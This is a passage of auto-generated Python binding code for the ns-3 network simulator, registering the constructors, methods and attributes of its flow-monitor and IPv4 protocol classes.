[variable] cls.add_instance_attribute('bytesDropped', 'std::vector< unsigned long long >', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::delayHistogram [variable] cls.add_instance_attribute('delayHistogram', 'ns3::Histogram', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::delaySum [variable] cls.add_instance_attribute('delaySum', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::flowInterruptionsHistogram [variable] cls.add_instance_attribute('flowInterruptionsHistogram', 'ns3::Histogram', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::jitterHistogram [variable] cls.add_instance_attribute('jitterHistogram', 'ns3::Histogram', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::jitterSum [variable] cls.add_instance_attribute('jitterSum', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::lastDelay [variable] cls.add_instance_attribute('lastDelay', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::lostPackets [variable] cls.add_instance_attribute('lostPackets', 'uint32_t', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::packetSizeHistogram [variable] cls.add_instance_attribute('packetSizeHistogram', 'ns3::Histogram', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::packetsDropped [variable] cls.add_instance_attribute('packetsDropped', 'std::vector< unsigned int >', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::rxBytes [variable] cls.add_instance_attribute('rxBytes', 'uint64_t', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::rxPackets [variable] cls.add_instance_attribute('rxPackets', 'uint32_t', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::timeFirstRxPacket [variable] cls.add_instance_attribute('timeFirstRxPacket', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::timeFirstTxPacket [variable] cls.add_instance_attribute('timeFirstTxPacket', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::timeLastRxPacket [variable] cls.add_instance_attribute('timeLastRxPacket', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::timeLastTxPacket [variable] cls.add_instance_attribute('timeLastTxPacket', 'ns3::Time', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::timesForwarded [variable] cls.add_instance_attribute('timesForwarded', 'uint32_t', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::txBytes [variable] cls.add_instance_attribute('txBytes', 'uint64_t', is_const=False) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::txPackets [variable] cls.add_instance_attribute('txPackets', 'uint32_t', is_const=False) return def register_Ns3FlowProbe_methods(root_module, cls): ## flow-probe.h (module 'flow-monitor'): void ns3::FlowProbe::AddPacketDropStats(ns3::FlowId flowId, uint32_t packetSize, uint32_t reasonCode) [member function] cls.add_method('AddPacketDropStats', 'void', [param('ns3::FlowId', 'flowId'), param('uint32_t', 'packetSize'), param('uint32_t', 'reasonCode')]) ## flow-probe.h (module 'flow-monitor'): void ns3::FlowProbe::AddPacketStats(ns3::FlowId flowId, uint32_t packetSize, ns3::Time delayFromFirstProbe) [member function] cls.add_method('AddPacketStats', 'void', [param('ns3::FlowId', 'flowId'), param('uint32_t', 'packetSize'), param('ns3::Time', 'delayFromFirstProbe')]) ## flow-probe.h (module 'flow-monitor'): std::map<unsigned int, ns3::FlowProbe::FlowStats, std::less<unsigned int>, std::allocator<std::pair<unsigned int const, ns3::FlowProbe::FlowStats> > > ns3::FlowProbe::GetStats() const [member function] cls.add_method('GetStats', 'std::map< unsigned int, ns3::FlowProbe::FlowStats >', [], is_const=True) ## flow-probe.h (module 'flow-monitor'): static ns3::TypeId ns3::FlowProbe::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## flow-probe.h (module 'flow-monitor'): void ns3::FlowProbe::SerializeToXmlStream(std::ostream & os, int indent, uint32_t index) const [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent'), param('uint32_t', 'index')], is_const=True) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowProbe(ns3::Ptr<ns3::FlowMonitor> flowMonitor) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::FlowMonitor >', 'flowMonitor')], visibility='protected') ## flow-probe.h (module 'flow-monitor'): void ns3::FlowProbe::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3FlowProbeFlowStats_methods(root_module, cls): ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::FlowStats(ns3::FlowProbe::FlowStats const & arg0) [copy constructor] cls.add_constructor([param('ns3::FlowProbe::FlowStats const &', 'arg0')]) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::FlowStats() [constructor] cls.add_constructor([]) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::bytes [variable] cls.add_instance_attribute('bytes', 'uint64_t', is_const=False) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::bytesDropped [variable] cls.add_instance_attribute('bytesDropped', 'std::vector< unsigned long long >', is_const=False) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::delayFromFirstProbeSum [variable] cls.add_instance_attribute('delayFromFirstProbeSum', 'ns3::Time', is_const=False) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::packets [variable] cls.add_instance_attribute('packets', 'uint32_t', is_const=False) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats::packetsDropped [variable] cls.add_instance_attribute('packetsDropped', 'std::vector< unsigned int >', is_const=False) return def register_Ns3Ipv4_methods(root_module, cls): ## ipv4.h (module 'internet'): ns3::Ipv4::Ipv4(ns3::Ipv4 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4 const &', 'arg0')]) ## ipv4.h (module 'internet'): ns3::Ipv4::Ipv4() [constructor] cls.add_constructor([]) ## ipv4.h (module 'internet'): bool ns3::Ipv4::AddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function] cls.add_method('AddAddress', 'bool', [param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): uint32_t ns3::Ipv4::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('AddInterface', 'uint32_t', [param('ns3::Ptr< ns3::NetDevice >', 'device')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::Ipv4::CreateRawSocket() [member function] cls.add_method('CreateRawSocket', 'ns3::Ptr< ns3::Socket >', [], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::DeleteRawSocket(ns3::Ptr<ns3::Socket> socket) [member function] cls.add_method('DeleteRawSocket', 'void', [param('ns3::Ptr< ns3::Socket >', 'socket')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ipv4InterfaceAddress ns3::Ipv4::GetAddress(uint32_t interface, uint32_t addressIndex) const [member function] cls.add_method('GetAddress', 'ns3::Ipv4InterfaceAddress', [param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): int32_t ns3::Ipv4::GetInterfaceForAddress(ns3::Ipv4Address address) const [member function] cls.add_method('GetInterfaceForAddress', 'int32_t', [param('ns3::Ipv4Address', 'address')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): int32_t ns3::Ipv4::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function] cls.add_method('GetInterfaceForDevice', 'int32_t', [param('ns3::Ptr< ns3::NetDevice const >', 'device')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): int32_t ns3::Ipv4::GetInterfaceForPrefix(ns3::Ipv4Address address, ns3::Ipv4Mask mask) const [member function] cls.add_method('GetInterfaceForPrefix', 'int32_t', [param('ns3::Ipv4Address', 'address'), param('ns3::Ipv4Mask', 'mask')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): uint16_t ns3::Ipv4::GetMetric(uint32_t interface) const [member function] cls.add_method('GetMetric', 'uint16_t', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): uint16_t ns3::Ipv4::GetMtu(uint32_t interface) const [member function] cls.add_method('GetMtu', 'uint16_t', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): uint32_t ns3::Ipv4::GetNAddresses(uint32_t interface) const [member function] cls.add_method('GetNAddresses', 'uint32_t', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): uint32_t ns3::Ipv4::GetNInterfaces() const [member function] cls.add_method('GetNInterfaces', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4::GetNetDevice(uint32_t interface) [member function] cls.add_method('GetNetDevice', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv4::GetProtocol(int protocolNumber) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv4::GetProtocol(int protocolNumber, int32_t interfaceIndex) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber'), param('int32_t', 'interfaceIndex')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4::GetRoutingProtocol() const [member function] cls.add_method('GetRoutingProtocol', 'ns3::Ptr< ns3::Ipv4RoutingProtocol >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): static ns3::TypeId ns3::Ipv4::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::IsDestinationAddress(ns3::Ipv4Address address, uint32_t iif) const [member function] cls.add_method('IsDestinationAddress', 'bool', [param('ns3::Ipv4Address', 'address'), param('uint32_t', 'iif')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::IsForwarding(uint32_t interface) const [member function] cls.add_method('IsForwarding', 'bool', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::IsUp(uint32_t interface) const [member function] cls.add_method('IsUp', 'bool', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::RemoveAddress(uint32_t interface, uint32_t addressIndex) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::RemoveAddress(uint32_t interface, ns3::Ipv4Address address) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interface'), param('ns3::Ipv4Address', 'address')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4::SelectSourceAddress(ns3::Ptr<const ns3::NetDevice> device, ns3::Ipv4Address dst, ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e scope) [member function] cls.add_method('SelectSourceAddress', 'ns3::Ipv4Address', [param('ns3::Ptr< ns3::NetDevice const >', 'device'), param('ns3::Ipv4Address', 'dst'), param('ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', 'scope')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address source, ns3::Ipv4Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv4Route> route) [member function] cls.add_method('Send', 'void', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SendWithHeader(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Header ipHeader, ns3::Ptr<ns3::Ipv4Route> route) [member function] cls.add_method('SendWithHeader', 'void', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Header', 'ipHeader'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetDown(uint32_t interface) [member function] cls.add_method('SetDown', 'void', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetForwarding(uint32_t interface, bool val) [member function] cls.add_method('SetForwarding', 'void', [param('uint32_t', 'interface'), param('bool', 'val')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetMetric(uint32_t interface, uint16_t metric) [member function] cls.add_method('SetMetric', 'void', [param('uint32_t', 'interface'), param('uint16_t', 'metric')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetRoutingProtocol(ns3::Ptr<ns3::Ipv4RoutingProtocol> routingProtocol) [member function] cls.add_method('SetRoutingProtocol', 'void', [param('ns3::Ptr< ns3::Ipv4RoutingProtocol >', 'routingProtocol')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetUp(uint32_t interface) [member function] cls.add_method('SetUp', 'void', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4::SourceAddressSelection(uint32_t interface, ns3::Ipv4Address dest) [member function] cls.add_method('SourceAddressSelection', 'ns3::Ipv4Address', [param('uint32_t', 'interface'), param('ns3::Ipv4Address', 'dest')], is_pure_virtual=True, is_virtual=True) ## ipv4.h (module 'internet'): ns3::Ipv4::IF_ANY [variable] cls.add_static_attribute('IF_ANY', 'uint32_t const', is_const=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::GetIpForward() const [member function] cls.add_method('GetIpForward', 'bool', [], is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True) ## ipv4.h (module 'internet'): bool ns3::Ipv4::GetWeakEsModel() const [member function] cls.add_method('GetWeakEsModel', 'bool', [], is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetIpForward(bool forward) [member function] cls.add_method('SetIpForward', 'void', [param('bool', 'forward')], is_pure_virtual=True, visibility='private', is_virtual=True) ## ipv4.h (module 'internet'): void ns3::Ipv4::SetWeakEsModel(bool model) [member function] cls.add_method('SetWeakEsModel', 'void', [param('bool', 'model')], is_pure_virtual=True, visibility='private', is_virtual=True) return def register_Ns3Ipv4AddressChecker_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker::Ipv4AddressChecker(ns3::Ipv4AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4AddressChecker const &', 'arg0')]) return def register_Ns3Ipv4AddressValue_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4AddressValue const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue::Ipv4AddressValue(ns3::Ipv4Address const & value) [constructor] cls.add_constructor([param('ns3::Ipv4Address const &', 'value')]) ## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-address.h (module 'network'): std::string ns3::Ipv4AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4AddressValue::Set(ns3::Ipv4Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv4Address const &', 'value')]) return def register_Ns3Ipv4FlowClassifier_methods(root_module, cls): ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::Ipv4FlowClassifier() [constructor] cls.add_constructor([]) ## ipv4-flow-classifier.h (module 'flow-monitor'): bool ns3::Ipv4FlowClassifier::Classify(ns3::Ipv4Header const & ipHeader, ns3::Ptr<const ns3::Packet> ipPayload, uint32_t * out_flowId, uint32_t * out_packetId) [member function] cls.add_method('Classify', 'bool', [param('ns3::Ipv4Header const &', 'ipHeader'), param('ns3::Ptr< ns3::Packet const >', 'ipPayload'), param('uint32_t *', 'out_flowId'), param('uint32_t *', 'out_packetId')]) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple ns3::Ipv4FlowClassifier::FindFlow(ns3::FlowId flowId) const [member function] cls.add_method('FindFlow', 'ns3::Ipv4FlowClassifier::FiveTuple', [param('ns3::FlowId', 'flowId')], is_const=True) ## ipv4-flow-classifier.h (module 'flow-monitor'): void ns3::Ipv4FlowClassifier::SerializeToXmlStream(std::ostream & os, int indent) const [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent')], is_const=True, is_virtual=True) return def register_Ns3Ipv4FlowClassifierFiveTuple_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('==') ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::FiveTuple() [constructor] cls.add_constructor([]) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::FiveTuple(ns3::Ipv4FlowClassifier::FiveTuple const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4FlowClassifier::FiveTuple const &', 'arg0')]) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::destinationAddress [variable] cls.add_instance_attribute('destinationAddress', 'ns3::Ipv4Address', is_const=False) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::destinationPort [variable] cls.add_instance_attribute('destinationPort', 'uint16_t', is_const=False) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::protocol [variable] cls.add_instance_attribute('protocol', 'uint8_t', is_const=False) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::sourceAddress [variable] cls.add_instance_attribute('sourceAddress', 'ns3::Ipv4Address', is_const=False) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple::sourcePort [variable] cls.add_instance_attribute('sourcePort', 'uint16_t', is_const=False) return def register_Ns3Ipv4FlowProbe_methods(root_module, cls): ## ipv4-flow-probe.h (module 'flow-monitor'): ns3::Ipv4FlowProbe::Ipv4FlowProbe(ns3::Ptr<ns3::FlowMonitor> monitor, ns3::Ptr<ns3::Ipv4FlowClassifier> classifier, ns3::Ptr<ns3::Node> node) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::FlowMonitor >', 'monitor'), param('ns3::Ptr< ns3::Ipv4FlowClassifier >', 'classifier'), param('ns3::Ptr< ns3::Node >', 'node')]) ## ipv4-flow-probe.h (module 'flow-monitor'): static ns3::TypeId ns3::Ipv4FlowProbe::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv4-flow-probe.h (module 'flow-monitor'): void ns3::Ipv4FlowProbe::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3Ipv4L3Protocol_methods(root_module, cls): ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::Ipv4L3Protocol() [constructor] cls.add_constructor([]) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::AddAddress(uint32_t i, ns3::Ipv4InterfaceAddress address) [member function] cls.add_method('AddAddress', 'bool', [param('uint32_t', 'i'), param('ns3::Ipv4InterfaceAddress', 'address')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv4L3Protocol::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('AddInterface', 'uint32_t', [param('ns3::Ptr< ns3::NetDevice >', 'device')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::Ipv4L3Protocol::CreateRawSocket() [member function] cls.add_method('CreateRawSocket', 'ns3::Ptr< ns3::Socket >', [], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::DeleteRawSocket(ns3::Ptr<ns3::Socket> socket) [member function] cls.add_method('DeleteRawSocket', 'void', [param('ns3::Ptr< ns3::Socket >', 'socket')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4InterfaceAddress ns3::Ipv4L3Protocol::GetAddress(uint32_t interfaceIndex, uint32_t addressIndex) const [member function] cls.add_method('GetAddress', 'ns3::Ipv4InterfaceAddress', [param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4Interface> ns3::Ipv4L3Protocol::GetInterface(uint32_t i) const [member function] cls.add_method('GetInterface', 'ns3::Ptr< ns3::Ipv4Interface >', [param('uint32_t', 'i')], is_const=True) ## ipv4-l3-protocol.h (module 'internet'): int32_t ns3::Ipv4L3Protocol::GetInterfaceForAddress(ns3::Ipv4Address addr) const [member function] cls.add_method('GetInterfaceForAddress', 'int32_t', [param('ns3::Ipv4Address', 'addr')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): int32_t ns3::Ipv4L3Protocol::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function] cls.add_method('GetInterfaceForDevice', 'int32_t', [param('ns3::Ptr< ns3::NetDevice const >', 'device')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): int32_t ns3::Ipv4L3Protocol::GetInterfaceForPrefix(ns3::Ipv4Address addr, ns3::Ipv4Mask mask) const [member function] cls.add_method('GetInterfaceForPrefix', 'int32_t', [param('ns3::Ipv4Address', 'addr'), param('ns3::Ipv4Mask', 'mask')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv4L3Protocol::GetMetric(uint32_t i) const [member function] cls.add_method('GetMetric', 'uint16_t', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv4L3Protocol::GetMtu(uint32_t i) const [member function] cls.add_method('GetMtu', 'uint16_t', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv4L3Protocol::GetNAddresses(uint32_t interface) const [member function] cls.add_method('GetNAddresses', 'uint32_t', [param('uint32_t', 'interface')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv4L3Protocol::GetNInterfaces() const [member function] cls.add_method('GetNInterfaces', 'uint32_t', [], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4L3Protocol::GetNetDevice(uint32_t i) [member function] cls.add_method('GetNetDevice', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'i')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv4L3Protocol::GetProtocol(int protocolNumber) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv4L3Protocol::GetProtocol(int protocolNumber, int32_t interfaceIndex) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber'), param('int32_t', 'interfaceIndex')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4L3Protocol::GetRoutingProtocol() const [member function] cls.add_method('GetRoutingProtocol', 'ns3::Ptr< ns3::Ipv4RoutingProtocol >', [], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv4L3Protocol::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsDestinationAddress(ns3::Ipv4Address address, uint32_t iif) const [member function] cls.add_method('IsDestinationAddress', 'bool', [param('ns3::Ipv4Address', 'address'), param('uint32_t', 'iif')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsForwarding(uint32_t i) const [member function] cls.add_method('IsForwarding', 'bool', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsUnicast(ns3::Ipv4Address ad) const [member function] cls.add_method('IsUnicast', 'bool', [param('ns3::Ipv4Address', 'ad')], is_const=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsUp(uint32_t i) const [member function] cls.add_method('IsUp', 'bool', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Receive(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<const ns3::Packet> p, uint16_t protocol, ns3::Address const & from, ns3::Address const & to, ns3::NetDevice::PacketType packetType) [member function] cls.add_method('Receive', 'void', [param('ns3::Ptr< ns3::NetDevice >', 